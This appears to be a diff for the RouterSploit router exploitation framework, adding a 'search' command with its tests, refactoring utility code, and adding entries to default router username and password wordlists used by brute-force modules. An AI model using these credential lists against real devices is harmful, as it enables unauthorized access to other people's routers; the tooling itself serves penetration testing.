...@@ -20,6 +20,9 @@ class RoutersploitTestCase(unittest.TestCase): ...@@ -20,6 +20,9 @@ class RoutersploitTestCase(unittest.TestCase):
msg="'{}' method should be decorated with 'module_required'".format(function.__name__) msg="'{}' method should be decorated with 'module_required'".format(function.__name__)
) )
def assertIsSubset(self, subset, container):
[self.assertIn(element, container) for element in subset]
def assertIsSequence(self, arg): def assertIsSequence(self, arg):
self.assertEqual( self.assertEqual(
True, True,
......
...@@ -32,7 +32,7 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -32,7 +32,7 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
def test_raw_commands_no_module(self): def test_raw_commands_no_module(self):
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt('exec exit help show use \r\n', self.raw_prompt) self.assertPrompt('exec exit help search show use \r\n', self.raw_prompt)
def test_complete_use_raw(self): def test_complete_use_raw(self):
self.rsf.send("u\t\t") self.rsf.send("u\t\t")
...@@ -89,7 +89,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -89,7 +89,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
self.set_module() self.set_module()
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt( self.assertPrompt(
' exec exit help run set setg show use \r\n', 'back exec help search setg use \r\n'
'check exit run set show \r\n',
self.module_prompt('FTP Bruteforce') self.module_prompt('FTP Bruteforce')
) )
...@@ -117,20 +118,28 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -117,20 +118,28 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
'run' 'run'
) )
def test_complete_search(self):
self.set_module()
self.rsf.send("sea\t")
self.assertPrompt(
self.module_prompt('FTP Bruteforce'),
'search ',
)
def test_complete_set_raw(self): def test_complete_set_raw(self):
self.set_module() self.set_module()
self.rsf.send("s\t\t") self.rsf.send("s\t\t")
self.assertPrompt( self.assertPrompt(
'set setg show \r\n', 'search set setg show \r\n',
self.module_prompt('FTP Bruteforce') self.module_prompt('FTP Bruteforce')
) )
def test_complete_set_raw_2(self): def test_complete_set_raw_2(self):
self.set_module() self.set_module()
self.rsf.send("se\t") self.rsf.send("se\t\t")
self.assertPrompt( self.assertPrompt(
'search set setg \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'se\at',
) )
def test_complete_set_raw_3(self): def test_complete_set_raw_3(self):
...@@ -145,7 +154,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -145,7 +154,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
self.set_module() self.set_module()
self.rsf.send("set \t\t") self.rsf.send("set \t\t")
self.assertPrompt( self.assertPrompt(
'passwords stop_on_success threads verbosity\r\nport target usernames \r\n', 'passwords stop_on_success threads verbosity\r\n'
'port target usernames \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'set ', 'set ',
) )
...@@ -162,7 +172,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -162,7 +172,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
self.set_module() self.set_module()
self.rsf.send("setg \t\t") self.rsf.send("setg \t\t")
self.assertPrompt( self.assertPrompt(
'passwords stop_on_success threads verbosity\r\nport target usernames \r\n', 'passwords stop_on_success threads verbosity\r\n'
'port target usernames \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'setg ', 'setg ',
) )
...@@ -182,7 +193,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -182,7 +193,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
self.set_module() self.set_module()
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt( self.assertPrompt(
" exec exit help run set setg show use \r\n", "back exec help search setg use \r\n"
"check exit run set show \r\n",
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
) )
...@@ -194,7 +206,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -194,7 +206,8 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
self.rsf.send("setg target foo\r\n") self.rsf.send("setg target foo\r\n")
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt( self.assertPrompt(
' use \r\ncheck exit run setg unsetg \r\n', 'back exec help search setg unsetg \r\n'
'check exit run set show use \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
) )
...@@ -255,5 +268,6 @@ class RoutersploitCompleterTest(RoutersploitTestCase): ...@@ -255,5 +268,6 @@ class RoutersploitCompleterTest(RoutersploitTestCase):
'show options' 'show options'
) )
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
...@@ -256,21 +256,21 @@ class RoutersploitInterpreterTest(RoutersploitTestCase): ...@@ -256,21 +256,21 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
def test_suggested_commands_with_loaded_module_and_no_global_value_set(self): def test_suggested_commands_with_loaded_module_and_no_global_value_set(self):
self.assertEqual( self.assertEqual(
list(self.interpreter.suggested_commands()), list(self.interpreter.suggested_commands()),
['back', 'check', 'exec ', 'exit', 'help', 'run', 'set ', 'setg ', 'show ', 'use '] # Extra space at the end because of following param ['back', 'check', 'exec ', 'exit', 'help', 'run', 'search ', 'set ', 'setg ', 'show ', 'use '] # Extra space at the end because of following param
) )
def test_suggested_commands_with_loaded_module_and_global_value_set(self): def test_suggested_commands_with_loaded_module_and_global_value_set(self):
GLOBAL_OPTS['key'] = 'value' GLOBAL_OPTS['key'] = 'value'
self.assertEqual( self.assertEqual(
list(self.interpreter.suggested_commands()), list(self.interpreter.suggested_commands()),
['back', 'check', 'exec ', 'exit', 'help', 'run', 'set ', 'setg ', 'show ', 'unsetg ', 'use '] # Extra space at the end because of following param ['back', 'check', 'exec ', 'exit', 'help', 'run', 'search ', 'set ', 'setg ', 'show ', 'unsetg ', 'use '] # Extra space at the end because of following param
) )
def test_suggested_commands_without_loaded_module(self): def test_suggested_commands_without_loaded_module(self):
self.interpreter.current_module = None self.interpreter.current_module = None
self.assertEqual( self.assertEqual(
self.interpreter.suggested_commands(), # Extra space at the end because of following param self.interpreter.suggested_commands(), # Extra space at the end because of following param
['exec ', 'exit', 'help', 'show ', 'use '] ['exec ', 'exit', 'help', 'search ', 'show ', 'use ']
) )
@mock.patch('importlib.import_module') @mock.patch('importlib.import_module')
...@@ -621,5 +621,56 @@ class RoutersploitInterpreterTest(RoutersploitTestCase): ...@@ -621,5 +621,56 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
] ]
) )
@mock.patch('routersploit.utils.print_info')
def test_command_search_01(self, mock_print):
self.interpreter.modules = [
'exploits.asus.foo',
'exploits.asus.bar',
'exploits.linksys.baz',
'exploits.cisco.foo',
]
self.interpreter.command_search("asus")
self.assertEqual(
mock_print.mock_calls,
[
mock.call('exploits/\x1b[31masus\x1b[0m/foo'),
mock.call('exploits/\x1b[31masus\x1b[0m/bar'),
]
)
@mock.patch('routersploit.utils.print_info')
def test_command_search_02(self, mock_print):
self.interpreter.modules = [
'exploits.asus.foo',
'exploits.asus.bar',
'exploits.linksys.baz',
'exploits.cisco.foo',
]
self.interpreter.command_search("foo")
self.assertEqual(
mock_print.mock_calls,
[
mock.call('exploits/asus/\x1b[31mfoo\x1b[0m'),
mock.call('exploits/cisco/\x1b[31mfoo\x1b[0m')
]
)
@mock.patch('routersploit.utils.print_error')
def test_command_search_03(self, print_error):
self.interpreter.modules = [
'exploits.asus.foo',
'exploits.asus.bar',
'exploits.linksys.baz',
'exploits.cisco.foo',
]
self.interpreter.command_search("")
self.assertEqual(
print_error.mock_calls,
[
mock.call("Please specify search keyword. e.g. 'search cisco'"),
]
)
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
...@@ -31,7 +31,7 @@ class ModuleTest(RoutersploitTestCase): ...@@ -31,7 +31,7 @@ class ModuleTest(RoutersploitTestCase):
"authors", "authors",
"references" "references"
) )
self.assertItemsEqual(required_metadata, self.module_metadata.keys()) self.assertIsSubset(required_metadata, self.module_metadata.keys())
def test_metadata_type(self): def test_metadata_type(self):
self.assertIsSequence(self.module_metadata['authors']) self.assertIsSequence(self.module_metadata['authors'])
......
from __future__ import absolute_import
import unittest import unittest
try: try:
...@@ -5,8 +7,8 @@ try: ...@@ -5,8 +7,8 @@ try:
except ImportError: except ImportError:
import mock import mock
from routersploit.utils import index_modules from .. import utils
from routersploit.test import RoutersploitTestCase from . import RoutersploitTestCase
class UtilsTest(RoutersploitTestCase): class UtilsTest(RoutersploitTestCase):
...@@ -19,7 +21,7 @@ class UtilsTest(RoutersploitTestCase): ...@@ -19,7 +21,7 @@ class UtilsTest(RoutersploitTestCase):
) )
path = 'path/to/module' path = 'path/to/module'
modules = index_modules(path) modules = utils.index_modules(path)
mock_walk.assert_called_once_with(path) mock_walk.assert_called_once_with(path)
self.assertEqual( self.assertEqual(
...@@ -39,7 +41,7 @@ class UtilsTest(RoutersploitTestCase): ...@@ -39,7 +41,7 @@ class UtilsTest(RoutersploitTestCase):
) )
path = 'path/to/module' path = 'path/to/module'
modules = index_modules(path) modules = utils.index_modules(path)
mock_walk.assert_called_once_with(path) mock_walk.assert_called_once_with(path)
...@@ -52,5 +54,42 @@ class UtilsTest(RoutersploitTestCase): ...@@ -52,5 +54,42 @@ class UtilsTest(RoutersploitTestCase):
] ]
) )
@mock.patch('routersploit.utils.print_info')
def test_print_table_01(self, mock_print):
utils.print_table(
["Name", "Value", "Description"],
('foo', 'bar', 'baz'),
(1, 2, 3),
("port", 80, "port number")
)
self.assertEqual(
mock_print.mock_calls,
[
mock.call(),
mock.call(' Name Value Description '),
mock.call(' ---- ----- ----------- '),
mock.call(' foo bar baz '),
mock.call(' 1 2 3 '),
mock.call(' port 80 port number '),
mock.call()
]
)
@mock.patch('routersploit.utils.print_info')
def test_print_table_02(self, mock_print):
utils.print_table(
["Name", "Value", "Description"],
)
self.assertEqual(
mock_print.mock_calls,
[
mock.call(),
mock.call(' Name Value Description '),
mock.call(' ---- ----- ----------- '),
mock.call()
]
)
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
...@@ -136,5 +136,6 @@ class ValidatorsTest(RoutersploitTestCase): ...@@ -136,5 +136,6 @@ class ValidatorsTest(RoutersploitTestCase):
value = "t" value = "t"
self.assertEqual(validators.boolify(value), True) self.assertEqual(validators.boolify(value), True)
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
from __future__ import print_function
from __future__ import absolute_import from __future__ import absolute_import
from __future__ import print_function
import threading
import os
import sys
import re
import collections import collections
import random import errno
import string
import importlib import importlib
import os
import random
import re
import select import select
import socket import socket
import errno import string
from functools import wraps import sys
from distutils.util import strtobool import threading
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
from distutils.util import strtobool
from functools import wraps
import requests import requests
from .printer import printer_queue, thread_output_stream from .. import modules as rsf_modules
from .exceptions import RoutersploitException from ..exceptions import RoutersploitException
from . import modules as rsf_modules from ..printer import printer_queue, thread_output_stream
MODULES_DIR = rsf_modules.__path__[0] MODULES_DIR = rsf_modules.__path__[0]
CREDS_DIR = os.path.join(MODULES_DIR, 'creds') CREDS_DIR = os.path.join(MODULES_DIR, 'creds')
...@@ -326,7 +326,10 @@ def print_table(headers, *args, **kwargs): ...@@ -326,7 +326,10 @@ def print_table(headers, *args, **kwargs):
headers_line = ' ' headers_line = ' '
headers_separator_line = ' ' headers_separator_line = ' '
for idx, header in enumerate(headers): for idx, header in enumerate(headers):
current_line_fill = max(len(header), *map(lambda x: custom_len(x[idx]), args)) + extra_fill column = [custom_len(arg[idx]) for arg in args]
column.append(len(header))
current_line_fill = max(column) + extra_fill
fill.append(current_line_fill) fill.append(current_line_fill)
headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill))) headers_line = "".join((headers_line, "{header:<{fill}}".format(header=header, fill=current_line_fill)))
headers_separator_line = "".join(( headers_separator_line = "".join((
...@@ -411,14 +414,14 @@ def random_text(length, alph=string.ascii_letters + string.digits): ...@@ -411,14 +414,14 @@ def random_text(length, alph=string.ascii_letters + string.digits):
return ''.join(random.choice(alph) for _ in range(length)) return ''.join(random.choice(alph) for _ in range(length))
def http_request(method, url, **kwargs): def http_request(method, url, session=requests, **kwargs):
""" Wrapper for 'requests' silencing exceptions a little bit. """ """ Wrapper for 'requests' silencing exceptions a little bit. """
kwargs.setdefault('timeout', 30.0) kwargs.setdefault('timeout', 30.0)
kwargs.setdefault('verify', False) kwargs.setdefault('verify', False)
try: try:
return getattr(requests, method.lower())(url, **kwargs) return getattr(session, method.lower())(url, **kwargs)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: {}".format(url)) print_error("Invalid URL format: {}".format(url))
return return
...@@ -543,7 +546,7 @@ def tokenize(token_specification, text): ...@@ -543,7 +546,7 @@ def tokenize(token_specification, text):
def create_exploit(path): # TODO: cover with tests def create_exploit(path): # TODO: cover with tests
from .templates import exploit from ..templates import exploit
parts = path.split(os.sep) parts = path.split(os.sep)
module_type, name = parts[0], parts[-1] module_type, name = parts[0], parts[-1]
......
# !/usr/bin/env python
# -*- coding:utf-8 -*-
##############################################################
# Lempel-Ziv-Stac decompression
# BitReader and RingList classes
#
# Copyright (C) 2011 Filippo Valsorda - FiloSottile
# filosottile.wiki gmail.com - www.pytux.it
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see &lt;http://www.gnu.org/licenses/&gt;.
#
##############################################################
import collections
class BitReader:
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and permits to extract
bits one by one like a stream
"""
def __init__(self, bytes):
self._bits = collections.deque()
for byte in bytes:
byte = ord(byte)
for n in xrange(8):
self._bits.append(bool((byte >> (7 - n)) & 1))
def getBit(self):
return self._bits.popleft()
def getBits(self, num):
res = 0
for i in xrange(num):
res += self.getBit() << num - 1 - i
return res
def getByte(self):
return self.getBits(8)
def __len__(self):
return len(self._bits)
class RingList:
"""
When the list is full, for every item appended
the older is removed
"""
def __init__(self, length):
self.__data__ = collections.deque()
self.__full__ = False
self.__max__ = length
def append(self, x):
if self.__full__:
self.__data__.popleft()
self.__data__.append(x)
if self.size() == self.__max__:
self.__full__ = True
def get(self):
return self.__data__
def size(self):
return len(self.__data__)
def maxsize(self):
return self.__max__
def __getitem__(self, n):
if n >= self.size():
return None
return self.__data__[n]
def LZSDecompress(data, window=RingList(2048)):
"""
Gets a string or a iterable of chars (also mmap)
representing bytes (ord) and an optional
pre-populated dictionary; return the decompressed
string and the final dictionary
"""
reader = BitReader(data)
result = ''
while True:
bit = reader.getBit()
if not bit:
char = reader.getByte()
result += chr(char)
window.append(char)
else:
bit = reader.getBit()
if bit:
offset = reader.getBits(7)
if offset == 0:
# EOF
break
else:
offset = reader.getBits(11)
lenField = reader.getBits(2)
if lenField < 3:
lenght = lenField + 2
else:
lenField <<= 2
lenField += reader.getBits(2)
if lenField < 15:
lenght = (lenField & 0x0f) + 5
else:
lenCounter = 0
lenField = reader.getBits(4)
while lenField == 15:
lenField = reader.getBits(4)
lenCounter += 1
lenght = 15 * lenCounter + 8 + lenField
for i in xrange(lenght):
char = window[-offset]
result += chr(char)
window.append(char)
return result, window
...@@ -123,8 +123,10 @@ admin:123456 ...@@ -123,8 +123,10 @@ admin:123456
admin:2222 admin:2222
admin:22222 admin:22222
admin:362729 admin:362729
admin:Admin123
admin:AitbISP4eCiG admin:AitbISP4eCiG
admin:Ascend admin:Ascend
admin:BGCVDSL2
admin:NetCache admin:NetCache
admin:OCS admin:OCS
admin:Protector admin:Protector
...@@ -148,6 +150,7 @@ admin:diamond ...@@ -148,6 +150,7 @@ admin:diamond
admin:epicrouter admin:epicrouter
admin:extendnet admin:extendnet
admin:giraff admin:giraff
admin:gvt12345
admin:hagpolm1 admin:hagpolm1
admin:hello admin:hello
admin:ho4uku6at admin:ho4uku6at
...@@ -364,12 +367,14 @@ super:surt ...@@ -364,12 +367,14 @@ super:surt
superadmin:secret superadmin:secret
superadmin:Is$uper@dmin superadmin:Is$uper@dmin
superman:21241036 superman:21241036
superman:superman
superman:talent superman:talent
superuser:123456 superuser:123456
superuser:admin superuser:admin
supervisor:PlsChgMe! supervisor:PlsChgMe!
supervisor:PlsChgMe1 supervisor:PlsChgMe1
supervisor:supervisor supervisor:supervisor
supervisor:zyad1234
support:h179350 support:h179350
support:support support:support
support:supportpw support:supportpw
...@@ -387,6 +392,7 @@ teacher:password ...@@ -387,6 +392,7 @@ teacher:password
tech:field tech:field
tech:tech tech:tech
telco:telco telco:telco
tele2:tele2
telecom:telecom telecom:telecom
telecomadmin:telecomadmin telecomadmin:telecomadmin
telecomadmin:admintelecom telecomadmin:admintelecom
...@@ -401,6 +407,7 @@ tiger:tiger123 ...@@ -401,6 +407,7 @@ tiger:tiger123
topicalt:password topicalt:password
topicnorm:password topicnorm:password
topicres:password topicres:password
true:true
tw:tw tw:tw
ubnt:ubnt ubnt:ubnt
user:pass user:pass
...@@ -408,6 +415,7 @@ user:password ...@@ -408,6 +415,7 @@ user:password
user:public user:public
user:tivonpw user:tivonpw
user:user user:user
user3:12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678
vcr:NetVCR vcr:NetVCR
volition:volition volition:volition
vt100:public vt100:public
......
...@@ -24,6 +24,7 @@ $secure$ ...@@ -24,6 +24,7 @@ $secure$
12345678 12345678
123456789 123456789
1234567890 1234567890
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678
1234admin 1234admin
123654 123654
123qwe 123qwe
...@@ -38,6 +39,7 @@ $secure$ ...@@ -38,6 +39,7 @@ $secure$
22222 22222
222222 222222
240653C9467E45 240653C9467E45
263297
266344 266344
31994 31994
3477 3477
...@@ -66,6 +68,7 @@ ADMINISTRATOR ...@@ -66,6 +68,7 @@ ADMINISTRATOR
ADTRAN ADTRAN
ANS#150 ANS#150
Admin Admin
Admin123
AitbISP4eCiG AitbISP4eCiG
Asante Asante
Ascend Ascend
...@@ -80,6 +83,7 @@ Col2ogro2 ...@@ -80,6 +83,7 @@ Col2ogro2
D-Link D-Link
DATA DATA
DISC DISC
Dj9@t!n03g4r6#f
Exabyte Exabyte
FIELD.SUPPORT FIELD.SUPPORT
Fireport Fireport
...@@ -289,6 +293,7 @@ gen1 ...@@ -289,6 +293,7 @@ gen1
gen2 gen2
ggdaseuaimhrke ggdaseuaimhrke
ginger ginger
gvt12345
guest guest
h179350 h179350
hagpolm1 hagpolm1
...@@ -469,6 +474,7 @@ talent ...@@ -469,6 +474,7 @@ talent
tech tech
telco telco
telecom telecom
telkomjatineg4r4
tellabs#1 tellabs#1
test test
thomas thomas
...@@ -511,4 +517,5 @@ xdfk9874t3 ...@@ -511,4 +517,5 @@ xdfk9874t3
xxyyzz xxyyzz
zoomadsl zoomadsl
zxcvbnm zxcvbnm
zyad1234
Zte521 Zte521
...@@ -261,6 +261,7 @@ topicnorm ...@@ -261,6 +261,7 @@ topicnorm
topicres topicres
ubnt ubnt
user user
user3
vcr vcr
veda veda
vodafone vodafone
...@@ -274,4 +275,4 @@ wradmin ...@@ -274,4 +275,4 @@ wradmin
write write
xbox xbox
xd xd
ZXDSL ZXDSL
\ No newline at end of file
#!/usr/bin/env bash
if [ -z $1 ] ; then
docker run -it --net host --rm routersploit
else
docker run -it --net host --rm routersploit $@
fi
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment